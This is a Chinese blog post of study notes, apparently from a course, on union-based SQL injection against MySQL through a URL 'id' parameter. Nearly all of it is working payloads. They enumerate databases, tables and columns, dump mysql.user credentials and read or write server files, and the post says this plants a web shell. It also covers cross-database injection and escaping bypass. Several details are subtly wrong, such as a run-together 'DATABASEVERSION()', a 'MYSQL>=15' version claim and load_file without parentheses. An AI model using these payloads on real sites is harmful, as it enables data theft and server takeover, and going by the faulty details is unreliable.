SQL注入笔记01:基于union的注入

 

(笔记内容来自小迪8,用以方便查看)

以下内容都以(url)?id=3为例,比如www.xx.com?id=3

******************************************************************
思路:获取表列数目用以后续查询
          -》获取当前查询属于哪个数据库和数据库版本等系统信息
          -》查询有哪些数据库(跨站注入)
          -》查询指定数据库有哪些表
          -》查询指定表有哪些列
1、获取表列数目用以后续查询
注入:(url)?id=3 order by X //X为数字,需尝试得出,后续都假设X=5


2、查询数据库名、版本号、当前用户等系统信息
VERSION()        返回数据库的版本号
CONNECTION_ID()         返回服务器的连接数
DATABASE()、SCHEMA()    返回当前数据库名
USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()返回当前用户
@@version_compile_os          操作系统名

注入:(url)?id=3 union select DATABASEVERSION(),USER(),1,2
其他函数用法也是一样的


3、查询所有数据库名字
注入:(url)?id=3 union SELECT schema_name,1,2,3,4 FROM information_schema.SCHEMATA
information_schema:存储所有数据库属性信息的数据库,只有MYSQL>=15版本才有这个数据库
information_schema.SCHEMATA:存储数据库名的表


4、查询数据库里的表项、表的列项                                                  
查询数据库里的表项:(url)?id=3 UNION SELECT table_name,2,3,4,5 FROM information_schema.TABLES WHERE table_schema='world' 

information_schema.TABLES:存储所有数据库表名的表
table_schema='world' :查询数据库world下有哪些表

查询表的列项:(url)?id=3 UNION SELECT column_name,2,3,4,5 FROM information_schema.COLUMNS WHERE table_name='city' AND table_schema='world'

information_schema.COLUMNS:存储所有表字段信息的表
table_name='city':指定表名为city
table_schema='world':指定数据库名为world

注意:
1、table_schema='world'必须加,不加的话会把其他数据库的city表里的字段信息也查询出来
******************************************************************


5、查询数据库用户名和密码
注入:(url)?id=3 union SELECT USER, authentication_string,1,2,3 FROM mysql.user 
注:密码是被加密的形式,登陆mysql数据库时,数据库系统会将你输入的密码先通过函数进行加密,然后再与数据库中的密码进行比较,匹配成功才可以登录。


6、读取和写入文件
读取:(url)?id=3 union select load_file 'e:/asd.txt';
写入:(url)?id=3 union select '123' into outfile 'e:/123.txt'
注:需root用户,其他用户读取为NULL,写入会出现Access denied

关于网站路径的获取:
    1、报错显示
    2、谷歌黑客
    3、读取搭建平台配置文件
    4、漏洞报错
    5、遗留文件
    6、字典猜解
此注入可用于读取和写入文件,比如直接将一句话木马放入web目录下即可拿到权限
注:路径符号及编码,比如union后面的语句里有'\n',或者存在安全的函数会将指定符号前加入转义符(load_file 'e:/asd.txt'->load_file \'e:/asd.txt\',这样就会语法有错),解决办法是直接传16进制编码(可选工具是"转换工具 by zj1244[小葵]")

7、跨库注入
网站A->数据库A,无注入点
网站B->数据库B,有注入点
且,数据库A和数据库B属于同一个MYSQL。这时候就可以用上面的注入获取所有数据库名->获取数据库A的所有信息
注:1、需要root权限,只有root权限才可以看所有数据库的信息,除非网站B的MYSQL登陆用户也拥有数据库A的权限
       2、SQL注入时一定加上数据库A的前缀,否则可能会出错,如:select name,1,2 from 数据库A.user

8、注入地点
GET、POST、COOKIE、HTTP头部

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值